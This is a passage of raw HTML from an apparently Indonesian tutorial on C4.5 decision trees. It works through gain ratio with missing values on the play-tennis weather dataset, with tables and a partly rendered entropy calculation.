style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;95&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;69&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;?&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;83&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;78&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;64&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;81&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;71&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;68&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;96&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;  &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Sedangkan nilai split pada atribut A dinyatakan dengan :&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="pl-PL"&gt;Split(A) = &lt;span style="font-size: 11pt;font-size:85%;" &gt;-u * log&lt;sub&gt;2 &lt;/sub&gt;u - &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="es-AR"&gt; Dimana,  &lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="es-AR"&gt;u adalah prob samples pada atribut A yang merupakan &lt;i&gt;missing values&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="es-AR"&gt;p&lt;i&gt;&lt;sub&gt;j&lt;/sub&gt;&lt;/i&gt; = &lt;/span&gt;&lt;span lang="es-AR"&gt; adalah probabilitas sample S&lt;sub&gt;&lt;i&gt;j&lt;/i&gt;  &lt;/sub&gt;yang diketahui nilainya.&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;Nilai Gain Ratio pada atribut A :&lt;/p&gt; &lt;p style="margin-left: 0.64cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Gain Ratio(A) = &lt;span style="font-size: 11pt;font-size:85%;" &gt;Gain(A) / Split(A)&lt;/span&gt;&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Sebagai contoh : kita ingin mencari apakah pegolf akan masuk class play atau don’t play berdasarkan data berikut:&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;&lt;b&gt;Tabel 2.2. data play tennis dengan missing value&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="center"&gt;&lt;br /&gt;&lt;/p&gt; &lt;center&gt;  &lt;table border="1" border cellpadding="7" cellspacing="0" width="409" style="color:#000000;"&gt;   &lt;col width="57"&gt;   &lt;col width="46"&gt;   &lt;col width="58"&gt;   &lt;col width="70"&gt;   &lt;col width="106"&gt;   &lt;tbody&gt;&lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Outlook&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Temp&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Humidity&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Windy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p align="justify"&gt;&lt;span style="font-size:85%;"&gt;Class&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;85&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;95&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;69&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;?&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;72&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;90&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;83&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;78&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;64&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;81&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;71&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;65&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;yes&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;75&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;68&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;80&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="57"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;70&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="58"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;96&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="70"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;no&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="106"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;  &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;Pertama, kita menghitung frekuensi pada OUTLOOK sebagai berikut :&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;center&gt;  &lt;table border="1" bordercolor="#000000" cellpadding="7" cellspacing="0" width="295"&gt;   &lt;col width="63"&gt;   &lt;col width="46"&gt;   &lt;col width="82"&gt;   &lt;col width="46"&gt;   &lt;tbody&gt;&lt;tr valign="top"&gt;    &lt;td width="63"&gt;     &lt;p align="center"&gt;&lt;br /&gt;    &lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p align="center"&gt;&lt;span style="font-size:85%;"&gt;Play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="82"&gt;     &lt;p align="center"&gt;&lt;span style="font-size:85%;"&gt;Don’t play&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p align="center"&gt;&lt;span style="font-size:85%;"&gt;Total&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="63"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;Sunny&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;2&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="82"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;3&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;5&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="63"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;Cloudy&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;3&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="82"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;0&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;3&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="63"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;Rain&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;3&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="82"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;2&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;5&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;   &lt;tr valign="top"&gt;    &lt;td width="63"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;Total&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;8&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="82"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;5&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;    &lt;td width="46"&gt;     &lt;p&gt;&lt;span style="font-size:85%;"&gt;13&lt;/span&gt;&lt;/p&gt;    &lt;/td&gt;   &lt;/tr&gt;  &lt;/tbody&gt;&lt;/table&gt; &lt;/center&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="text-indent: 1.27cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; Untuk data pada tabel 2.2 maka penghitungan information gainnya adalah sebagai berikut :&lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify"&gt;&lt;span lang="pl-PL"&gt;I (s&lt;sub&gt;1&lt;/sub&gt;,s&lt;sub&gt;2&lt;/sub&gt;) = I&lt;i&gt; &lt;/i&gt;(8,5) = - &lt;/span&gt;&lt;span lang="pl-PL"&gt;log&lt;sub&gt;2&lt;/sub&gt; &lt;/span&gt;&lt;span lang="pl-PL"&gt;- &lt;/span&gt;&lt;span lang="pl-PL"&gt;log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="pl-PL"&gt;= 0.961 &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm; line-height: 150%;" align="justify" lang="pl-PL"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-left: 2.86cm; text-indent: -2.86cm; margin-bottom: 0cm; line-height: 150%;" align="justify"&gt; &lt;span lang="pl-PL"&gt;I(outlook) = &lt;/span&gt;&lt;span lang="pl-PL"&gt;* (- &lt;/span&gt;&lt;span lang="pl-PL"&gt;* log&lt;sub&gt;2&lt;/sub&gt;&lt;/span&gt;&lt;span lang="pl-PL"&gt;-&lt;/span&gt;&lt;span lang="pl-PL"&gt;* 